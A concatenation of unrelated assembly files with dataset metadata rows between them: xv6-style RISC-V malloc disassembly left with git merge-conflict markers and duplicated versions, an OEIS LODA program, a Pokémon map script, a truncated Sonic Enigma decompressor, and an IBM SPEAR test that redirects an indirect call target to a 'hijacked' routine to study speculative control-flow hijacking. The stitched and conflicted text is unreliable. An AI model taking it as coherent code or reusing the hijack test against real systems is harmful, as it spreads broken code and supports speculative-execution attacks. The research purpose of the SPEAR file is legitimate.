5910: e852 sd s4,16(sp)
5912: e456 sd s5,8(sp)
5914: e05a sd s6,0(sp)
5916: 0080 addi s0,sp,64
5918: 02051493 slli s1,a0,0x20
591c: 9081 srli s1,s1,0x20
591e: 04bd addi s1,s1,15
5920: 8091 srli s1,s1,0x4
5922: 0014899b addiw s3,s1,1
5926: 0485 addi s1,s1,1
5928: 00003517 auipc a0,0x3
592c: 8c853503 ld a0,-1848(a0) # 81f0 <freep>
5930: c515 beqz a0,595c <malloc+0x58>
5932: 611c ld a5,0(a0)
5934: 4798 lw a4,8(a5)
5936: 02977f63 bgeu a4,s1,5974 <malloc+0x70>
593a: 8a4e mv s4,s3
593c: 0009871b sext.w a4,s3
5940: 6685 lui a3,0x1
5942: 00d77363 bgeu a4,a3,5948 <malloc+0x44>
5946: 6a05 lui s4,0x1
5948: 000a0b1b sext.w s6,s4
594c: 004a1a1b slliw s4,s4,0x4
5950: 00003917 auipc s2,0x3
5954: 8a090913 addi s2,s2,-1888 # 81f0 <freep>
5958: 5afd li s5,-1
595a: a88d j 59cc <malloc+0xc8>
595c: 00009797 auipc a5,0x9
5960: 0b478793 addi a5,a5,180 # ea10 <base>
5964: 00003717 auipc a4,0x3
5968: 88f73623 sd a5,-1908(a4) # 81f0 <freep>
596c: e39c sd a5,0(a5)
596e: 0007a423 sw zero,8(a5)
5972: b7e1 j 593a <malloc+0x36>
5974: 02e48b63 beq s1,a4,59aa <malloc+0xa6>
5978: 4137073b subw a4,a4,s3
597c: c798 sw a4,8(a5)
597e: 1702 slli a4,a4,0x20
5980: 9301 srli a4,a4,0x20
5982: 0712 slli a4,a4,0x4
5984: 97ba add a5,a5,a4
5986: 0137a423 sw s3,8(a5)
598a: 00003717 auipc a4,0x3
598e: 86a73323 sd a0,-1946(a4) # 81f0 <freep>
5992: 01078513 addi a0,a5,16
5996: 70e2 ld ra,56(sp)
5998: 7442 ld s0,48(sp)
599a: 74a2 ld s1,40(sp)
599c: 7902 ld s2,32(sp)
599e: 69e2 ld s3,24(sp)
59a0: 6a42 ld s4,16(sp)
59a2: 6aa2 ld s5,8(sp)
59a4: 6b02 ld s6,0(sp)
59a6: 6121 addi sp,sp,64
59a8: 8082 ret
59aa: 6398 ld a4,0(a5)
59ac: e118 sd a4,0(a0)
59ae: bff1 j 598a <malloc+0x86>
59b0: 01652423 sw s6,8(a0)
59b4: 0541 addi a0,a0,16
59b6: 00000097 auipc ra,0x0
59ba: ec6080e7 jalr -314(ra) # 587c <free>
59be: 00093503 ld a0,0(s2)
59c2: d971 beqz a0,5996 <malloc+0x92>
59c4: 611c ld a5,0(a0)
59c6: 4798 lw a4,8(a5)
59c8: fa9776e3 bgeu a4,s1,5974 <malloc+0x70>
59cc: 00093703 ld a4,0(s2)
59d0: 853e mv a0,a5
59d2: fef719e3 bne a4,a5,59c4 <malloc+0xc0>
59d6: 8552 mv a0,s4
59d8: 00000097 auipc ra,0x0
59dc: b7c080e7 jalr -1156(ra) # 5554 <sbrk>
59e0: fd5518e3 bne a0,s5,59b0 <malloc+0xac>
59e4: 4501 li a0,0
59e6: bf45 j 5996 <malloc+0x92>
00000000000059e8 <mem_init>:
59e8: 1141 addi sp,sp,-16
59ea: e406 sd ra,8(sp)
59ec: e022 sd s0,0(sp)
59ee: 0800 addi s0,sp,16
59f0: 6505 lui a0,0x1
59f2: 00000097 auipc ra,0x0
59f6: b62080e7 jalr -1182(ra) # 5554 <sbrk>
59fa: 00002797 auipc a5,0x2
59fe: 7ea7b723 sd a0,2030(a5) # 81e8 <alloc>
5a02: 00850793 addi a5,a0,8 # 1008 <bigdir+0x13c>
5a06: e11c sd a5,0(a0)
5a08: 60a2 ld ra,8(sp)
5a0a: 6402 ld s0,0(sp)
5a0c: 0141 addi sp,sp,16
5a0e: 8082 ret
0000000000005a10 <l_alloc>:
5a10: 1101 addi sp,sp,-32
5a12: ec06 sd ra,24(sp)
5a14: e822 sd s0,16(sp)
5a16: e426 sd s1,8(sp)
5a18: 1000 addi s0,sp,32
5a1a: 84aa mv s1,a0
5a1c: 00002797 auipc a5,0x2
5a20: 7c47a783 lw a5,1988(a5) # 81e0 <if_init>
5a24: c795 beqz a5,5a50 <l_alloc+0x40>
5a26: 00002717 auipc a4,0x2
5a2a: 7c273703 ld a4,1986(a4) # 81e8 <alloc>
5a2e: 6308 ld a0,0(a4)
5a30: 40e506b3 sub a3,a0,a4
5a34: 6785 lui a5,0x1
5a36: 37e1 addiw a5,a5,-8
5a38: 9f95 subw a5,a5,a3
5a3a: 02f4f563 bgeu s1,a5,5a64 <l_alloc+0x54>
5a3e: 1482 slli s1,s1,0x20
5a40: 9081 srli s1,s1,0x20
5a42: 94aa add s1,s1,a0
5a44: e304 sd s1,0(a4)
5a46: 60e2 ld ra,24(sp)
5a48: 6442 ld s0,16(sp)
5a4a: 64a2 ld s1,8(sp)
5a4c: 6105 addi sp,sp,32
5a4e: 8082 ret
5a50: 00000097 auipc ra,0x0
5a54: f98080e7 jalr -104(ra) # 59e8 <mem_init>
5a58: 4785 li a5,1
5a5a: 00002717 auipc a4,0x2
5a5e: 78f72323 sw a5,1926(a4) # 81e0 <if_init>
5a62: b7d1 j 5a26 <l_alloc+0x16>
5a64: 4501 li a0,0
5a66: b7c5 j 5a46 <l_alloc+0x36>
0000000000005a68 <l_free>:
5a68: 1141 addi sp,sp,-16
5a6a: e422 sd s0,8(sp)
5a6c: 0800 addi s0,sp,16
5a6e: 6422 ld s0,8(sp)
5a70: 0141 addi sp,sp,16
5a72: 8082 ret
=======
5844: 711d addi sp,sp,-96
5846: ec06 sd ra,24(sp)
5848: e822 sd s0,16(sp)
584a: 1000 addi s0,sp,32
584c: e40c sd a1,8(s0)
584e: e810 sd a2,16(s0)
5850: ec14 sd a3,24(s0)
5852: f018 sd a4,32(s0)
5854: f41c sd a5,40(s0)
5856: 03043823 sd a6,48(s0)
585a: 03143c23 sd a7,56(s0)
va_list ap;
va_start(ap, fmt);
585e: 00840613 addi a2,s0,8
5862: fec43423 sd a2,-24(s0)
vprintf(1, fmt, ap);
5866: 85aa mv a1,a0
5868: 4505 li a0,1
586a: 00000097 auipc ra,0x0
586e: dce080e7 jalr -562(ra) # 5638 <vprintf>
}
5872: 60e2 ld ra,24(sp)
5874: 6442 ld s0,16(sp)
5876: 6125 addi sp,sp,96
5878: 8082 ret
000000000000587a <free>:
typedef union header Header;
static Header base;
static Header *freep;
void free(void *ap) {
587a: 1141 addi sp,sp,-16
587c: e422 sd s0,8(sp)
587e: 0800 addi s0,sp,16
Header *bp, *p;
bp = (Header *)ap - 1;
5880: ff050693 addi a3,a0,-16
for (p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5884: 00003797 auipc a5,0x3
5888: 9147b783 ld a5,-1772(a5) # 8198 <freep>
588c: a805 j 58bc <free+0x42>
if (p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if (bp + bp->s.size == p->s.ptr) {
bp->s.size += p->s.ptr->s.size;
588e: 4618 lw a4,8(a2)
5890: 9db9 addw a1,a1,a4
5892: feb52c23 sw a1,-8(a0)
bp->s.ptr = p->s.ptr->s.ptr;
5896: 6398 ld a4,0(a5)
5898: 6318 ld a4,0(a4)
589a: fee53823 sd a4,-16(a0)
589e: a091 j 58e2 <free+0x68>
} else
bp->s.ptr = p->s.ptr;
if (p + p->s.size == bp) {
p->s.size += bp->s.size;
58a0: ff852703 lw a4,-8(a0)
58a4: 9e39 addw a2,a2,a4
58a6: c790 sw a2,8(a5)
p->s.ptr = bp->s.ptr;
58a8: ff053703 ld a4,-16(a0)
58ac: e398 sd a4,0(a5)
58ae: a099 j 58f4 <free+0x7a>
if (p >= p->s.ptr && (bp > p || bp < p->s.ptr))
58b0: 6398 ld a4,0(a5)
58b2: 00e7e463 bltu a5,a4,58ba <free+0x40>
58b6: 00e6ea63 bltu a3,a4,58ca <free+0x50>
void free(void *ap) {
58ba: 87ba mv a5,a4
for (p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
58bc: fed7fae3 bgeu a5,a3,58b0 <free+0x36>
58c0: 6398 ld a4,0(a5)
58c2: 00e6e463 bltu a3,a4,58ca <free+0x50>
if (p >= p->s.ptr && (bp > p || bp < p->s.ptr))
58c6: fee7eae3 bltu a5,a4,58ba <free+0x40>
if (bp + bp->s.size == p->s.ptr) {
58ca: ff852583 lw a1,-8(a0)
58ce: 6390 ld a2,0(a5)
58d0: 02059713 slli a4,a1,0x20
58d4: 9301 srli a4,a4,0x20
58d6: 0712 slli a4,a4,0x4
58d8: 9736 add a4,a4,a3
58da: fae60ae3 beq a2,a4,588e <free+0x14>
bp->s.ptr = p->s.ptr;
58de: fec53823 sd a2,-16(a0)
if (p + p->s.size == bp) {
58e2: 4790 lw a2,8(a5)
58e4: 02061713 slli a4,a2,0x20
58e8: 9301 srli a4,a4,0x20
58ea: 0712 slli a4,a4,0x4
58ec: 973e add a4,a4,a5
58ee: fae689e3 beq a3,a4,58a0 <free+0x26>
} else
p->s.ptr = bp;
58f2: e394 sd a3,0(a5)
freep = p;
58f4: 00003717 auipc a4,0x3
58f8: 8af73223 sd a5,-1884(a4) # 8198 <freep>
}
58fc: 6422 ld s0,8(sp)
58fe: 0141 addi sp,sp,16
5900: 8082 ret
0000000000005902 <malloc>:
hp->s.size = nu;
free((void *)(hp + 1));
return freep;
}
void *malloc(uint nbytes) {
5902: 7139 addi sp,sp,-64
5904: fc06 sd ra,56(sp)
5906: f822 sd s0,48(sp)
5908: f426 sd s1,40(sp)
590a: f04a sd s2,32(sp)
590c: ec4e sd s3,24(sp)
590e: e852 sd s4,16(sp)
5910: e456 sd s5,8(sp)
5912: e05a sd s6,0(sp)
5914: 0080 addi s0,sp,64
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1) / sizeof(Header) + 1;
5916: 02051493 slli s1,a0,0x20
591a: 9081 srli s1,s1,0x20
591c: 04bd addi s1,s1,15
591e: 8091 srli s1,s1,0x4
5920: 0014899b addiw s3,s1,1
5924: 0485 addi s1,s1,1
if ((prevp = freep) == 0) {
5926: 00003517 auipc a0,0x3
592a: 87253503 ld a0,-1934(a0) # 8198 <freep>
592e: c515 beqz a0,595a <malloc+0x58>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for (p = prevp->s.ptr;; prevp = p, p = p->s.ptr) {
5930: 611c ld a5,0(a0)
if (p->s.size >= nunits) {
5932: 4798 lw a4,8(a5)
5934: 02977f63 bgeu a4,s1,5972 <malloc+0x70>
5938: 8a4e mv s4,s3
593a: 0009871b sext.w a4,s3
593e: 6685 lui a3,0x1
5940: 00d77363 bgeu a4,a3,5946 <malloc+0x44>
5944: 6a05 lui s4,0x1
5946: 000a0b1b sext.w s6,s4
p = sbrk(nu * sizeof(Header));
594a: 004a1a1b slliw s4,s4,0x4
p->s.size = nunits;
}
freep = prevp;
return (void *)(p + 1);
}
if (p == freep)
594e: 00003917 auipc s2,0x3
5952: 84a90913 addi s2,s2,-1974 # 8198 <freep>
if (p == (char *)-1)
5956: 5afd li s5,-1
5958: a88d j 59ca <malloc+0xc8>
base.s.ptr = freep = prevp = &base;
595a: 00009797 auipc a5,0x9
595e: 05e78793 addi a5,a5,94 # e9b8 <base>
5962: 00003717 auipc a4,0x3
5966: 82f73b23 sd a5,-1994(a4) # 8198 <freep>
596a: e39c sd a5,0(a5)
base.s.size = 0;
596c: 0007a423 sw zero,8(a5)
if (p->s.size >= nunits) {
5970: b7e1 j 5938 <malloc+0x36>
if (p->s.size == nunits)
5972: 02e48b63 beq s1,a4,59a8 <malloc+0xa6>
p->s.size -= nunits;
5976: 4137073b subw a4,a4,s3
597a: c798 sw a4,8(a5)
p += p->s.size;
597c: 1702 slli a4,a4,0x20
597e: 9301 srli a4,a4,0x20
5980: 0712 slli a4,a4,0x4
5982: 97ba add a5,a5,a4
p->s.size = nunits;
5984: 0137a423 sw s3,8(a5)
freep = prevp;
5988: 00003717 auipc a4,0x3
598c: 80a73823 sd a0,-2032(a4) # 8198 <freep>
return (void *)(p + 1);
5990: 01078513 addi a0,a5,16
if ((p = morecore(nunits)) == 0)
return 0;
}
}
5994: 70e2 ld ra,56(sp)
5996: 7442 ld s0,48(sp)
5998: 74a2 ld s1,40(sp)
599a: 7902 ld s2,32(sp)
599c: 69e2 ld s3,24(sp)
599e: 6a42 ld s4,16(sp)
59a0: 6aa2 ld s5,8(sp)
59a2: 6b02 ld s6,0(sp)
59a4: 6121 addi sp,sp,64
59a6: 8082 ret
prevp->s.ptr = p->s.ptr;
59a8: 6398 ld a4,0(a5)
59aa: e118 sd a4,0(a0)
59ac: bff1 j 5988 <malloc+0x86>
hp->s.size = nu;
59ae: 01652423 sw s6,8(a0)
free((void *)(hp + 1));
59b2: 0541 addi a0,a0,16
59b4: 00000097 auipc ra,0x0
59b8: ec6080e7 jalr -314(ra) # 587a <free>
return freep;
59bc: 00093503 ld a0,0(s2)
if ((p = morecore(nunits)) == 0)
59c0: d971 beqz a0,5994 <malloc+0x92>
for (p = prevp->s.ptr;; prevp = p, p = p->s.ptr) {
59c2: 611c ld a5,0(a0)
if (p->s.size >= nunits) {
59c4: 4798 lw a4,8(a5)
59c6: fa9776e3 bgeu a4,s1,5972 <malloc+0x70>
if (p == freep)
59ca: 00093703 ld a4,0(s2)
59ce: 853e mv a0,a5
59d0: fef719e3 bne a4,a5,59c2 <malloc+0xc0>
p = sbrk(nu * sizeof(Header));
59d4: 8552 mv a0,s4
59d6: 00000097 auipc ra,0x0
59da: b7e080e7 jalr -1154(ra) # 5554 <sbrk>
if (p == (char *)-1)
59de: fd5518e3 bne a0,s5,59ae <malloc+0xac>
return 0;
59e2: 4501 li a0,0
59e4: bf45 j 5994 <malloc+0x92>
00000000000059e6 <mem_init>:
page_t *next_page;
} allocator_t;
static allocator_t alloc;
static int if_init = 0;
void mem_init() {
59e6: 1141 addi sp,sp,-16
59e8: e406 sd ra,8(sp)
59ea: e022 sd s0,0(sp)
59ec: 0800 addi s0,sp,16
alloc.next_page = (page_t *)sbrk(PGSIZE);
59ee: 6505 lui a0,0x1
59f0: 00000097 auipc ra,0x0
59f4: b64080e7 jalr -1180(ra) # 5554 <sbrk>
59f8: 00002797 auipc a5,0x2
59fc: 78a7bc23 sd a0,1944(a5) # 8190 <alloc>
page_t *p = (page_t *)alloc.next_page;
p->cur = (void *)p + sizeof(page_t);
5a00: 00850793 addi a5,a0,8 # 1008 <bigdir+0x13c>
5a04: e11c sd a5,0(a0)
}
5a06: 60a2 ld ra,8(sp)
5a08: 6402 ld s0,0(sp)
5a0a: 0141 addi sp,sp,16
5a0c: 8082 ret
0000000000005a0e <l_alloc>:
void *l_alloc(u32 size) {
5a0e: 1101 addi sp,sp,-32
5a10: ec06 sd ra,24(sp)
5a12: e822 sd s0,16(sp)
5a14: e426 sd s1,8(sp)
5a16: 1000 addi s0,sp,32
5a18: 84aa mv s1,a0
if (!if_init) {
5a1a: 00002797 auipc a5,0x2
5a1e: 76e7a783 lw a5,1902(a5) # 8188 <if_init>
5a22: c795 beqz a5,5a4e <l_alloc+0x40>
mem_init();
if_init = 1;
}
void *res = 0;
u32 avail = PGSIZE - (alloc.next_page->cur - (void *)(alloc.next_page)) -
5a24: 00002717 auipc a4,0x2
5a28: 76c73703 ld a4,1900(a4) # 8190 <alloc>
5a2c: 6308 ld a0,0(a4)
5a2e: 40e506b3 sub a3,a0,a4
sizeof(page_t);
if (avail > size) {
5a32: 6785 lui a5,0x1
5a34: 37e1 addiw a5,a5,-8
5a36: 9f95 subw a5,a5,a3
5a38: 02f4f563 bgeu s1,a5,5a62 <l_alloc+0x54>
res = alloc.next_page->cur;
alloc.next_page->cur += size;
5a3c: 1482 slli s1,s1,0x20
5a3e: 9081 srli s1,s1,0x20
5a40: 94aa add s1,s1,a0
5a42: e304 sd s1,0(a4)
} else {
return 0;
}
return res;
}
5a44: 60e2 ld ra,24(sp)
5a46: 6442 ld s0,16(sp)
5a48: 64a2 ld s1,8(sp)
5a4a: 6105 addi sp,sp,32
5a4c: 8082 ret
mem_init();
5a4e: 00000097 auipc ra,0x0
5a52: f98080e7 jalr -104(ra) # 59e6 <mem_init>
if_init = 1;
5a56: 4785 li a5,1
5a58: 00002717 auipc a4,0x2
5a5c: 72f72823 sw a5,1840(a4) # 8188 <if_init>
5a60: b7d1 j 5a24 <l_alloc+0x16>
return 0;
5a62: 4501 li a0,0
5a64: b7c5 j 5a44 <l_alloc+0x36>
0000000000005a66 <l_free>:
5a66: 1141 addi sp,sp,-16
5a68: e422 sd s0,8(sp)
5a6a: 0800 addi s0,sp,16
5a6c: 6422 ld s0,8(sp)
5a6e: 0141 addi sp,sp,16
5a70: 8082 ret
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
| 42.337491
| 93
| 0.490192
|
60eaa75eb50bb37ce4c41e26c867bf132f394713
| 2,596
|
asm
|
Assembly
|
programs/oeis/035/A035286.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/035/A035286.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/035/A035286.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A035286: Number of ways to place a non-attacking white and black king on n X n chessboard.
; 0,0,32,156,456,1040,2040,3612,5936,9216,13680,19580,27192,36816,48776,63420,81120,102272,127296,156636,190760,230160,275352,326876,385296,451200,525200,607932,700056,802256,915240,1039740,1176512,1326336,1490016,1668380,1862280,2072592,2300216,2546076,2811120,3096320,3402672,3731196,4082936,4458960,4860360,5288252,5743776,6228096,6742400,7287900,7865832,8477456,9124056,9806940,10527440,11286912,12086736,12928316,13813080,14742480,15717992,16741116,17813376,18936320,20111520,21340572,22625096,23966736,25367160,26828060,28351152,29938176,31590896,33311100,35100600,36961232,38894856,40903356,42988640,45152640,47397312,49724636,52136616,54635280,57222680,59900892,62672016,65538176,68501520,71564220,74728472,77996496,81370536,84852860,88445760,92151552,95972576,99911196,103969800,108150800,112456632,116889756,121452656,126147840,130977840,135945212,141052536,146302416,151697480,157240380,162933792,168780416,174782976,180944220,187266920,193753872,200407896,207231836,214228560,221400960,228751952,236284476,244001496,251906000,260001000,268289532,276774656,285459456,294347040,303440540,312743112,322257936,331988216,341937180,352108080,362504192,373128816,383985276,395076920,406407120,417979272,429796796,441863136,454181760,466756160,479589852,492686376,506049296,519682200,533588700,547772432,562237056,576986256,592023740,607353240,622978512,638903336,655131516,671666880,688513280,705674592,723154716,740957576,759087120,777547320,796342172,815475696,834951936,854774960,874948860,895477752,916365776,937617096,959235900,981226400,1003592832,1026339456,1049470556,1072990440,1096903440,1121213912,1145926236,1171044816,1196574080,1222518480,1248882492,1275670616,1302887376,1330537320,1358625020,1387155072,1416132096,1445560736,1475445660,1505791560,1536603152,1567885176,1599642396,1631879600,1664601600,1697813232,1731519356,1765724856,1800434640,1835653640,1871386812,1907639136,1944415616,1981721280,2019561180,2057940392,2096864016,2136337176,2176365020,2216952720,2258105472,2299828496,2342127036,2385006360,2428471760,2472528552,2517182076,2562437696,2608300800,2654776800,2701871132,2749589256,2797936656,2846918840,2896541340,2946809712,2997729536,3049306416,3101545980,3154453880,3208035792,3262297416,3317244476,3372882720,3429217920,3486255872,3544002396,3602463336,3661644560,3721551960,3782191452,3843568976,3905690496
mov $3,1
lpb $0,1
sub $0,1
add $1,$0
add $3,3
lpe
add $0,1
add $1,3
mov $2,$0
add $2,2
add $3,$1
sub $1,$2
sub $3,3
mul $0,$3
mul $1,$0
mul $1,4
| 129.8
| 2,350
| 0.865948
|
8dfdd858f0c4eac4702bbb52ecb54d4b4bba6159
| 2,180
|
asm
|
Assembly
|
examples/x86/SPEAR/speculative/forward_edge/spec_fwd.asm
|
JesseDeMeulemeester/speculator
|
f6714241486dd9959e6937018c0e2b1dc128979b
|
[
"Apache-2.0"
] | 42
|
2019-09-13T14:50:48.000Z
|
2022-03-14T06:24:13.000Z
|
examples/x86/SPEAR/speculative/forward_edge/spec_fwd.asm
|
JesseDeMeulemeester/speculator
|
f6714241486dd9959e6937018c0e2b1dc128979b
|
[
"Apache-2.0"
] | null | null | null |
examples/x86/SPEAR/speculative/forward_edge/spec_fwd.asm
|
JesseDeMeulemeester/speculator
|
f6714241486dd9959e6937018c0e2b1dc128979b
|
[
"Apache-2.0"
] | 11
|
2019-12-13T06:47:53.000Z
|
2022-03-14T06:24:19.000Z
|
; Copyright 2021 IBM Corporation
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
[BITS 64]
%include "common.inc"
%include "pmc.inc"
section .data
dev_file: db '/dev/cpu/',VICTIM_PROCESS_STR,'/msr',0
;dev_file: db '/dev/cpu/',ATTACKER_PROCESS_STR,'/msr',0
fd: dq 0
warmup_cnt_fake: dd 1
offset: dq 0
val: dq 0
len: equ $-val
array: resb 128
warmup_cnt: dd 1
filler: resb 256
target: dq 0
;##### DATA STARTS HERE ########
;##### DATA ENDS HERE ########
section .text
global perf_test_entry:function
global snippet:function
global victim:function
perf_test_entry:
push rbp
mov rbp, rsp
sub rsp, len
check_pinning VICTIM_PROCESS
;check_pinning ATTACKER_PROCESS
msr_open
msr_seek
mov QWORD[target], correct
.data:
clflush [warmup_cnt]
mov eax, 0
cpuid
lfence
reset_counter
start_counter
mov ebx, DWORD[warmup_cnt]
cmp ebx, 12
je .else
;##### SNIPPET STARTS HERE ######
call [target]
;##### SNIPPET ENDS HERE ######
lfence
.else:
lfence
stop_counter
inc DWORD[warmup_cnt]
cmp DWORD[warmup_cnt], 12
jl .again
jg .skip
mov QWORD[target], victim
.again:
jmp .data
.skip:
msr_close
exit 0
victim:
mov QWORD[target], hijacked
call QWORD[target]
ret
lfence
hijacked:
mov DWORD[array], eax
mov DWORD[array+4], edx
movq xmm0, QWORD[array]
mov DWORD[array], eax
mov DWORD[array+4], edx
movq xmm0, QWORD[array]
mov DWORD[array], eax
mov DWORD[array+4], edx
movq xmm0, QWORD[array]
lfence
ret
correct:
lfence
ret
| 20.761905
| 74
| 0.646789
|
70974b0eebbf3951bcf41fc9e55228ec816cefb2
| 630
|
asm
|
Assembly
|
oeis/081/A081187.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/081/A081187.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/081/A081187.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A081187: 5th binomial transform of (1,0,1,0,1,...), A059841.
; 1,5,26,140,776,4400,25376,148160,872576,5169920,30757376,183495680,1096779776,6563901440,39316299776,235629363200,1412702437376,8471919656960,50814338072576,304817308958720,1828628975845376,10970674343444480,65819648014155776,394900295898890240,2369331406649163776,14215706964918272000,85293115889602789376,511754191737989365760,3070507136029426712576,18422970758582522347520,110537536321118982373376,663224065005209287393280,3979339778345237296971776,23876020223327350072279040
mov $1,4
pow $1,$0
mov $2,6
pow $2,$0
add $1,$2
sub $1,2
div $1,2
add $1,1
mov $0,$1
| 48.461538
| 480
| 0.842857
|
866ac9b7b5fadcddb051cef61114c1b4206eb136
| 2,752
|
asm
|
Assembly
|
maps/KogasRoom.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 28
|
2019-11-08T07:19:00.000Z
|
2021-12-20T10:17:54.000Z
|
maps/KogasRoom.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 13
|
2020-01-11T17:00:40.000Z
|
2021-09-14T01:27:38.000Z
|
maps/KogasRoom.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 22
|
2020-05-28T17:31:38.000Z
|
2022-03-07T20:49:35.000Z
|
object_const_def ; object_event constants
const KOGASROOM_KOGA
KogasRoom_MapScripts:
db 2 ; scene scripts
scene_script .LockDoor ; SCENE_DEFAULT
scene_script .DummyScene ; SCENE_FINISHED
db 1 ; callbacks
callback MAPCALLBACK_TILES, .KogasRoomDoors
.LockDoor:
prioritysjump .KogasDoorLocksBehindYou
end
.DummyScene:
end
.KogasRoomDoors:
checkevent EVENT_KOGAS_ROOM_ENTRANCE_CLOSED
iffalse .KeepEntranceOpen
changeblock 4, 14, $2a ; wall
.KeepEntranceOpen:
checkevent EVENT_KOGAS_ROOM_EXIT_OPEN
iffalse .KeepExitClosed
changeblock 4, 2, $16 ; open door
.KeepExitClosed:
return
.KogasDoorLocksBehindYou:
applymovement PLAYER, KogasRoom_EnterMovement
refreshscreen $86
playsound SFX_STRENGTH
earthquake 80
changeblock 4, 14, $2a ; wall
reloadmappart
closetext
setscene SCENE_FINISHED
setevent EVENT_KOGAS_ROOM_ENTRANCE_CLOSED
waitsfx
end
KogaScript_Battle:
faceplayer
opentext
checkevent EVENT_BEAT_ELITE_4_KOGA
iftrue KogaScript_AfterBattle
writetext KogaScript_KogaBeforeText
waitbutton
closetext
winlosstext KogaScript_KogaBeatenText, 0
loadtrainer KOGA, KOGA1
startbattle
reloadmapafterbattle
setevent EVENT_BEAT_ELITE_4_KOGA
opentext
writetext KogaScript_KogaDefeatText
waitbutton
closetext
playsound SFX_ENTER_DOOR
changeblock 4, 2, $16 ; open door
reloadmappart
closetext
setevent EVENT_KOGAS_ROOM_EXIT_OPEN
waitsfx
end
KogaScript_AfterBattle:
writetext KogaScript_KogaDefeatText
waitbutton
closetext
end
KogasRoom_EnterMovement:
step UP
step UP
step UP
step UP
step_end
KogaScript_KogaBeforeText:
text "Fwahahahaha!"
para "I am KOGA of the"
line "ELITE FOUR."
para "I live in shadows,"
line "a ninja!"
para "My intricate style"
line "will confound and"
cont "destroy you!"
para "Confusion, sleep,"
line "poison…"
para "Prepare to be the"
line "victim of my sin-"
cont "ister technique!"
para "Fwahahahaha!"
para "#MON is not"
line "merely about brute"
para "force--you shall"
line "see soon enough!"
done
KogaScript_KogaBeatenText:
text "Ah!"
line "You have proven"
cont "your worth!"
done
KogaScript_KogaDefeatText:
text "I subjected you to"
line "everything I could"
cont "muster."
para "But my efforts"
line "failed. I must"
cont "hone my skills."
para "Go on to the next"
line "room, and put your"
cont "abilities to test!"
done
KogasRoom_MapEvents:
db 0, 0 ; filler
db 4 ; warp events
warp_event 4, 17, WILLS_ROOM, 2
warp_event 5, 17, WILLS_ROOM, 3
warp_event 4, 2, BRUNOS_ROOM, 1
warp_event 5, 2, BRUNOS_ROOM, 2
db 0 ; coord events
db 0 ; bg events
db 1 ; object events
object_event 5, 7, SPRITE_KOGA, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, KogaScript_Battle, -1
| 18.97931
| 136
| 0.773983
|
a71697003e2f09aebe72f4fca24b16eb6f25611c
| 7,238
|
asm
|
Assembly
|
_inc/Enigma Decompression.asm
|
kodishmediacenter/msu-md-sonic
|
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
|
[
"CC0-1.0"
] | 9
|
2021-01-15T13:47:53.000Z
|
2022-01-17T15:33:55.000Z
|
_inc/Enigma Decompression.asm
|
kodishmediacenter/msu-md-sonic
|
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
|
[
"CC0-1.0"
] | 7
|
2021-01-14T02:18:48.000Z
|
2021-03-24T15:44:30.000Z
|
_inc/Enigma Decompression.asm
|
kodishmediacenter/msu-md-sonic
|
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
|
[
"CC0-1.0"
] | 2
|
2021-01-14T13:14:26.000Z
|
2021-01-29T17:46:04.000Z
|
; ---------------------------------------------------------------------------
; Enigma decompression algorithm
; input:
; d0 = starting art tile (added to each 8x8 before writing to destination)
; a0 = source address
; a1 = destination address
; usage:
; lea (source).l,a0
; lea (destination).l,a1
; move.w #arttile,d0
; bsr.w EniDec
; See http://www.segaretro.org/Enigma_compression for format description
; ---------------------------------------------------------------------------
; ||||||||||||||| S U B R O U T I N E |||||||||||||||||||||||||||||||||||||||
EniDec:
movem.l d0-d7/a1-a5,-(sp)
movea.w d0,a3 ; store starting art tile
move.b (a0)+,d0
ext.w d0
movea.w d0,a5 ; store number of bits in inline copy value
move.b (a0)+,d4
lsl.b #3,d4 ; store PCCVH flags bitfield
movea.w (a0)+,a2
adda.w a3,a2 ; store incremental copy word
movea.w (a0)+,a4
adda.w a3,a4 ; store literal copy word
move.b (a0)+,d5
asl.w #8,d5
move.b (a0)+,d5 ; get first word in format list
moveq #16,d6 ; initial shift value
; loc_173E:
Eni_Loop:
moveq #7,d0 ; assume a format list entry is 7 bits
move.w d6,d7
sub.w d0,d7
move.w d5,d1
lsr.w d7,d1
andi.w #$7F,d1 ; get format list entry
move.w d1,d2 ; and copy it
cmpi.w #$40,d1 ; is the high bit of the entry set?
bhs.s @sevenbitentry
